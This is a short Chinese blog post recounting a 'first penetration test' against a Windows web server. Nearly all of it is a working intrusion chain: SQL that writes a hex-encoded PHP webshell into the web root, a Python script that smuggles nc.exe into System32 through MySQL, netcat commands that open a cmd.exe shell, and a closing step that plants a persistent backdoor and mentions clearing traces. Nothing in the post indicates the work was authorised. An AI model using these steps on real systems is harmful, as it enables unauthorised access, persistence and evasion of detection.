代码改变世界

第一次渗入测试

2015-09-27 12:05  sunblackshine  阅读(418)  评论(0编辑  收藏  举报

* 拿到网站上传权限

发现网站有默认 3306 phpmyadmin但是不知道账号密码。

很巧合,站长没有对site的indexes做限制,所以我可以查看他一些目录下的文件,恰巧有一份网站的备份被我下载到,得到3306的root权限。

 

* 提权

通过上传权限来提权

DROP TABLE IF EXISTS `fm`;
CREATE TABLE `fm` (
`fm` longblob
);
insert into fm (fm) values (0x3c3f20706173737468727528245f4745545b2763275d293b203f3e);
select fm from fm into dumpfile 'D:\\WWW\\execute.php';
drop table fm;
flush logs;

如此一来只要我们上传了nc.exe 就可以通过 execute.php 来执行打开一个端口。

http://xxx.xxx.xxx.xxx/execute.php?c=nc.exe -l -p1234 -e cmd.exe

通过脚本将nc.exe 分成多次存入数据库,依法导出到某处,附shellcode生成脚本

fp = open('nc.exe', 'rb')
content = fp.read()
content = content.encode('hex')

fp0 = open('nc-shellcode.sql', 'wt')
fp0.write('''
DROP TABLE IF EXISTS `fm`;
CREATE TABLE `fm` (
`fm` longblob
);
''')

for idx in range(len(content)/1024 + 1):
    if idx == 0:
        fp0.write('''insert into fm (fm) values (0x%s);\n'''% content[idx*1024:(idx+1)*1024])
    else:
        fp0.write('''UPDATE fm SET fm=CONCAT(fm, 0x%s);''' % content[idx*1024:(idx+1)*1024])
fp0.write('''
select fm from fm into dumpfile 'C:\\\\Windows\\\\System32\\\\nc.exe';
drop table fm;
flush logs;
''')

将生成的sql执行, 生成 C:\Windows\System32\nc.exe

访问刚刚提到的url,即可打开1234

用nc.exe链接完成提权

nc xxx.xxx.xxx.xxx 1234

* 扩展留下后门,清理痕迹

nc -L -p1235 -e cmd.exe